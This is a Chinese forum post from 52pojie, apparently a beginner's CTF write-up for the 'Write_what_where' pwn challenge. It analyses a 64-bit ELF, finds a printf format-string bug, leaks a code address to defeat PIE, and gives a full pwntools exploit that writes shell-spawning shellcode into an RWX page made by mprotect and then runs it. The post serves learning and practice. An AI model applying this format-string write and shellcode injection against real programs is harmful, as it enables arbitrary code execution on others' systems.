吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 502|回复: 1
收起左侧

[CTF] CTF新人日记之pwn——day3

[复制链接]
Djay09 发表于 2026-10-29 11:14
本帖最后由 Djay09 于 2026-10-29 11:19 编辑

题目《Write_what_where》 来源于HackINI
解题环境设置在本地,方便演示

使用工具查看可执行文件基本信息:
屏幕截图 2026-10-29 080946.png
发现是个64位且是elf格式的可执行文件,并且保护除了栈溢出保护其他全开

关于如何绕过这些保护,通过AI对话得出了一个新手友好的处理方式,这是对话截图:
微信图片_20261029081358_140_16.jpg

对于相对不是那么简单的程序,一般先可以运行看看程序有哪些行为,以及观察有哪些行为可能是触发漏洞点的
屏幕截图 2026-10-29 082418.png
发现是个菜单,有输入与输出功能,并且第3选项还可以执行一个函数,结合保护措施信息我猜测输入函数可能会存在溢出,输出函数可能会存在格式化字符串漏洞,所以可以输入%p等占位符进行试探
屏幕截图 2026-10-29 083102.png
发现果然不出所料,存在格式化字符串漏洞,这为我们绕过地址随机化有了关键招式

知晓程序的基本运行逻辑后,接下来查看程序内部代码逻辑,观察漏洞发生点在何处,以及如何利用:

1.发现漏洞
[C] 纯文本查看 复制代码
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+1Ch] [rbp-174h] BYREF
  char v4[360]; // [rsp+20h] [rbp-170h] BYREF
  unsigned __int64 v5; // [rsp+188h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  disable_buffering();
  mprotect(addr: (void *)((unsigned __int64)func & 0xFFFFFFFFFFFFF000LL), len: 0x1000u, prot: 7);
  puts(s: "Welcome\nTry to find out how to pwn me!\nIt's not hard, I swear!");
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf(a1: "%d", &v3);
      if ( v3 != 3 )
        break;
      func();
    }
    if ( v3 > 3 )
      break;
    if ( v3 == 1 )
    {
      get_name(a1: (__int64)v4);
    }
    else
    {
      if ( v3 != 2 )
        break;
      print_name(a1: v4);
    }
  }
  exit(status: 0);
}

这是main方法的伪代码,结合刚刚运行的程序结果来看格式化字符串漏洞在print_name()函数中发生
进入该函数内部查看:
[C] 纯文本查看 复制代码
int __fastcall print_name(const char *a1)
{
  return printf(format: a1);
}


看来就是一个超简单的输出,printf()的第一个参数被传入的内容是用户输入的内容,因为main函数中开辟了一个名为v4的字符串数组地址空间,并把该数组地址传入到printf()函数的第一个参数中,经典的产生了格式化字符串漏洞
所以我尝试在程序运行手动中输入多个%p得到v4地址空间的内容是在第几个参数被格式化被打印且泄露的:
屏幕截图 2026-10-29 090632.png
发现在%14$p处开始泄露,接下来通过pwndbg调试查看栈中可以泄露的函数地址有哪些
11.png
可以发现栈地址为0x7fffffffda38的地方有一个0x55开头的地址0x000055555555534d,这是典型的地址随机化后的代码段地址。
而且根据静态分析工具中给的函数偏移和调试器给出的段映射地址,这正好是main函数的地址:
屏幕截图 2026-10-29 093924.png
屏幕截图 2026-10-29 094043.png

0x0000555555554000 + 0x134d = 0x000055555555534d,的确是main函数的地址,其实就绕过地址随机化而言,并不需要关心是哪个函数的地址,不过在这道题目中,需要铺垫后面的漏洞利用。
那个八字节'0x67'是我为了标记数组首地址的,根据刚刚得到的第14个参数开始泄露数组内容,所以再根据调试器结果可以算出泄露这个函数地址的偏移量是63。

再来看看是否存在溢出漏洞:
main函数反汇编至调用get_name():
[Asm] 纯文本查看 复制代码
.text:000000000000134D ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:000000000000134D                 public main
.text:000000000000134D main            proc near               ; DATA XREF: _start+21↑o
.text:000000000000134D
.text:000000000000134D var_190         = qword ptr -190h
.text:000000000000134D var_184         = dword ptr -184h
.text:000000000000134D var_174         = dword ptr -174h
.text:000000000000134D var_170         = byte ptr -170h
.text:000000000000134D var_8           = qword ptr -8
.text:000000000000134D
.text:000000000000134D ; __unwind {
.text:000000000000134D                 endbr64
.text:0000000000001351                 push    rbp
.text:0000000000001352                 mov     rbp, rsp
.text:0000000000001355                 sub     rsp, 190h
.text:000000000000135C                 mov     [rbp+var_184], edi
.text:0000000000001362                 mov     [rbp+var_190], rsi
.text:0000000000001369                 mov     rax, fs:28h
.text:0000000000001372                 mov     [rbp+var_8], rax
.text:0000000000001376                 xor     eax, eax
.text:0000000000001378                 mov     eax, 0
.text:000000000000137D                 call    disable_buffering
.text:0000000000001382                 lea     rax, func
.text:0000000000001389                 and     rax, 0FFFFFFFFFFFFF000h
.text:000000000000138F                 mov     edx, 7          ; prot
.text:0000000000001394                 mov     esi, 1000h      ; len
.text:0000000000001399                 mov     rdi, rax        ; addr
.text:000000000000139C                 call    _mprotect
.text:00000000000013A1                 lea     rdi, aWelcomeTryToFi ; "Welcome\nTry to find out how to pwn me!"...
.text:00000000000013A8                 call    _puts
.text:00000000000013AD
.text:00000000000013AD loc_13AD:                               ; CODE XREF: main:loc_1426↓j
.text:00000000000013AD                 mov     eax, 0
.text:00000000000013B2                 call    menu
.text:00000000000013B7                 lea     rax, [rbp+var_174]
.text:00000000000013BE                 mov     rsi, rax
.text:00000000000013C1                 lea     rdi, aD         ; "%d"
.text:00000000000013C8                 mov     eax, 0
.text:00000000000013CD                 call    ___isoc99_scanf
.text:00000000000013D2                 mov     eax, [rbp+var_174]
.text:00000000000013D8                 cmp     eax, 3
.text:00000000000013DB                 jz      short loc_1410
.text:00000000000013DD                 cmp     eax, 3
.text:00000000000013E0                 jg      short loc_141C
.text:00000000000013E2                 cmp     eax, 1
.text:00000000000013E5                 jz      short loc_13EE
.text:00000000000013E7                 cmp     eax, 2
.text:00000000000013EA                 jz      short loc_13FF
.text:00000000000013EC                 jmp     short loc_141C
.text:00000000000013EE ; ---------------------------------------------------------------------------
.text:00000000000013EE
.text:00000000000013EE loc_13EE:                               ; CODE XREF: main+98↑j
.text:00000000000013EE                 lea     rax, [rbp+var_170]
.text:00000000000013F5                 mov     rdi, rax
.text:00000000000013F8                 call    get_name
.text:00000000000013FD                 jmp     short loc_1426
.text:00000000000013FF ; ---------------------------------------------------------------------------
.text:00000000000013FF
.text:00000000000013FF loc_13FF:                               ; CODE XREF: main+9D↑j
.text:00000000000013FF                 lea     rax, [rbp+var_170]
.text:0000000000001406                 mov     rdi, rax
.text:0000000000001409                 call    print_name
.text:000000000000140E                 jmp     short loc_1426

get_name()与input_str()函数:
[Asm] 纯文本查看 复制代码
.text:00000000000012F3 ; char *__fastcall get_name(char *)
.text:00000000000012F3                 public get_name
.text:00000000000012F3 get_name        proc near               ; CODE XREF: main+AB↓p
.text:00000000000012F3
.text:00000000000012F3 var_8           = qword ptr -8
.text:00000000000012F3
.text:00000000000012F3 ; __unwind {
.text:00000000000012F3                 endbr64
.text:00000000000012F7                 push    rbp
.text:00000000000012F8                 mov     rbp, rsp
.text:00000000000012FB                 sub     rsp, 10h
.text:00000000000012FF                 mov     [rbp+var_8], rdi
.text:0000000000001303                 mov     rax, [rbp+var_8]
.text:0000000000001307                 mov     edx, 160h
.text:000000000000130C                 mov     rsi, rax
.text:000000000000130F                 lea     rdi, aName      ; "Name: "
.text:0000000000001316                 call    input_str
.text:000000000000131B                 nop
.text:000000000000131C                 leave
.text:000000000000131D                 retn
.text:0000000000001428 ; char *__fastcall input_str(const char *, char *, __int64)
.text:0000000000001428                 public input_str
.text:0000000000001428 input_str       proc near               ; CODE XREF: get_name+23↑p
.text:0000000000001428
.text:0000000000001428 var_28          = qword ptr -28h
.text:0000000000001428 buf             = qword ptr -20h
.text:0000000000001428 s               = qword ptr -18h
.text:0000000000001428 var_8           = qword ptr -8
.text:0000000000001428
.text:0000000000001428 ; __unwind {
.text:0000000000001428                 endbr64
.text:000000000000142C                 push    rbp
.text:000000000000142D                 mov     rbp, rsp
.text:0000000000001430                 sub     rsp, 30h
.text:0000000000001434                 mov     [rbp+s], rdi
.text:0000000000001438                 mov     [rbp+buf], rsi
.text:000000000000143C                 mov     [rbp+var_28], rdx
.text:0000000000001440                 mov     rdx, cs:stdout@@GLIBC_2_2_5
.text:0000000000001447                 mov     rax, [rbp+s]
.text:000000000000144B                 mov     rsi, rdx        ; stream
.text:000000000000144E                 mov     rdi, rax        ; s
.text:0000000000001451                 call    _fputs
.text:0000000000001456                 mov     rax, [rbp+var_28]
.text:000000000000145A                 lea     rdx, [rax-1]    ; nbytes
.text:000000000000145E                 mov     rax, [rbp+buf]
.text:0000000000001462                 mov     rsi, rax        ; buf
.text:0000000000001465                 mov     edi, 0          ; fd
.text:000000000000146A                 call    _read


静态分析后得知缓冲区在main栈帧下的rbp-0x170处,可输入长度被限制在0x160,故没有栈溢出

2.如何利用
绕过地址随机化,掌握了地址后,就可以放开手脚跟简单题无一二,不过从保护措施可以知道GOT表不可覆写,传统的ROP链不可行,故还需要静态分析程序还有哪些地方是存在漏洞点的
通过main函数的伪代码可以发现有个函数叫mprotect(),关于该函数的参数意义以及用途介绍如AI对话截图:
屏幕截图 2026-10-29 082015.png
再结合main函数中的这行代码:
[C] 纯文本查看 复制代码
mprotect(addr: (void *)((unsigned __int64)func & 0xFFFFFFFFFFFFF000LL), len: 0x1000u, prot: 7);

可以知道程序把func()的地址与0xFFFFFFFFFFFFF000按位与运算后的地址修改成可读可写可执行的且长度为0x1000的内存区域,而且通过前面泄露出的main函数地址可以间接得出func()函数的地址,自然想到如果把恶意代码成功写入到这片内存区域中,刚好程序菜单的第3项功能就是执行func()函数,就可以拿到shell了
那么如何写入恶意代码呢,整个程序只有两个输入的地方就是scanf()和get_name()函数内部的read()函数,看伪代码就知道scanf()不起作用,read()函数限制输入的长度还算大,先前去一探究竟,能否控制传入read()函数的参数。

input_str()函数:
[Asm] 纯文本查看 复制代码
.text:0000000000001428 ; char *__fastcall input_str(const char *, char *, __int64)
.text:0000000000001428                 public input_str
.text:0000000000001428 input_str       proc near               ; CODE XREF: get_name+23↑p
.text:0000000000001428
.text:0000000000001428 var_28          = qword ptr -28h
.text:0000000000001428 buf             = qword ptr -20h
.text:0000000000001428 s               = qword ptr -18h
.text:0000000000001428 var_8           = qword ptr -8
.text:0000000000001428
.text:0000000000001428 ; __unwind {
.text:0000000000001428                 endbr64
.text:000000000000142C                 push    rbp
.text:000000000000142D                 mov     rbp, rsp
.text:0000000000001430                 sub     rsp, 30h
.text:0000000000001434                 mov     [rbp+s], rdi
.text:0000000000001438                 mov     [rbp+buf], rsi
.text:000000000000143C                 mov     [rbp+var_28], rdx
.text:0000000000001440                 mov     rdx, cs:stdout@@GLIBC_2_2_5
.text:0000000000001447                 mov     rax, [rbp+s]
.text:000000000000144B                 mov     rsi, rdx        ; stream
.text:000000000000144E                 mov     rdi, rax        ; s
.text:0000000000001451                 call    _fputs
.text:0000000000001456                 mov     rax, [rbp+var_28]
.text:000000000000145A                 lea     rdx, [rax-1]    ; nbytes
.text:000000000000145E                 mov     rax, [rbp+buf]
.text:0000000000001462                 mov     rsi, rax        ; buf
.text:0000000000001465                 mov     edi, 0          ; fd
.text:000000000000146A                 call    _read

get_name()函数:
[Asm] 纯文本查看 复制代码
.text:00000000000012F3 ; char *__fastcall get_name(char *)
.text:00000000000012F3                 public get_name
.text:00000000000012F3 get_name        proc near               ; CODE XREF: main+AB↓p
.text:00000000000012F3
.text:00000000000012F3 var_8           = qword ptr -8
.text:00000000000012F3
.text:00000000000012F3 ; __unwind {
.text:00000000000012F3                 endbr64
.text:00000000000012F7                 push    rbp
.text:00000000000012F8                 mov     rbp, rsp
.text:00000000000012FB                 sub     rsp, 10h
.text:00000000000012FF                 mov     [rbp+var_8], rdi
.text:0000000000001303                 mov     rax, [rbp+var_8]
.text:0000000000001307                 mov     edx, 160h
.text:000000000000130C                 mov     rsi, rax
.text:000000000000130F                 lea     rdi, aName      ; "Name: "
.text:0000000000001316                 call    input_str
.text:000000000000131B                 nop
.text:000000000000131C                 leave
.text:000000000000131D                 retn

main()函数调用get_name()的部分:
[Asm] 纯文本查看 复制代码
.text:00000000000013EE loc_13EE:                               ; CODE XREF: main+98↑j
.text:00000000000013EE                 lea     rax, [rbp+var_170]
.text:00000000000013F5                 mov     rdi, rax
.text:00000000000013F8                 call    get_name
.text:00000000000013FD                 jmp     short loc_1426

注意我粘贴的代码是从内到外的,目的是更好的反推并追踪read()函数参数
简单的静态分析就发现缓冲区指针参数是控制不了的,因为最初的地址传递是0x13ee处的取地址操作,并且往后由于栈向下增长,不可能一次输入就覆盖下方的数据,那只能换个思路了
统筹整个布局来看,能够写入数据的只有scanf()和read()和格式化字符串漏洞,前两者已被验证不可行,就只剩下格式化字符串漏洞的任意写了
使用%<N>c%N$n来进行任意写,不过要把恶意代码写进去只本质的使用%n太过麻烦,这是fmtstr模块就派上大用场了。

3.exp代码
综上所述,exp如下:
从泄露代码段地址->计算func()地址->写入恶意代码->执行选项3
[Python] 纯文本查看 复制代码
from pwn import *

p = process("./chall2")

context(arch='amd64', os='linux')

shellcode = asm(shellcraft.sh())

main_fun_offset = 0x134d
func_offset = 0x1342

p.recvuntil("Choice:")

p.sendline(b'1')

p.sendline(b'%63$p')

p.recvuntil("Choice:")

p.sendline(b'2')

leak = p.recvline()

deal_leak = int(leak,16)

basic_addr = deal_leak - main_fun_offset

func_addr = basic_addr + func_offset

useful_addr = func_addr & 0xFFFFFFFFFFFFF000

for i in range(0,len(shellcode),2):
    chunk = shellcode[i:i+2]
    value = u16(chunk)
    payload = fmtstr_payload(14,{func_addr +i:value},write_size = "short")
    p.sendlineafter("Choice:",b'1')
    p.sendline(payload)
    p.sendlineafter("Choice:",b'2')
    p.recvline()
 
p.sendline(b'3')


p.interactive()


运行:
屏幕截图 2026-10-29 104112.png

关于脚本中所泄露出的地址要注意不同主机的加载器不同,会导致可执行文件的加载基址不同,这也是我在本地打通了但是远程连接到目标主机时却发现行不通,而且泄露出的数据都不具有明显的函数地址特征,若按照脚本源码来远程连接目标主机,运行脚本后会出现这样:
屏幕截图 2026-10-29 104816.png
这些0x7ff开头的明显是栈地址而不是函数地址。
受 libc 版本、环境变量数量和长度、argv[0] 长度、内核 ASLR 实现影响。同一二进制文件在不同主机上,第 N 个栈槽位里存的东西可能完全不同,也就是说本地得出的格式化字符串漏洞偏移用在远程主机可能会失效,届时需要在远程主机试探偏移才能使脚本在远程主机得以成功实现。

我个人感觉是处理输出,输入,接收输出这方面耗的时间要比发现和利用漏洞长,也许是我编程功底太弱了。以上使给需要的读者一份参考,也是给我自己学习的一份总结,若发现文章或技术缺陷请回帖指出,感谢



发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Nevvb1e251111 发表于 2026-10-29 17:52
厉害啊 膜拜大佬

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
Djay09 + 1 + 1 用心讨论,共获提升!

查看全部评分

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-11-11 07:22

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表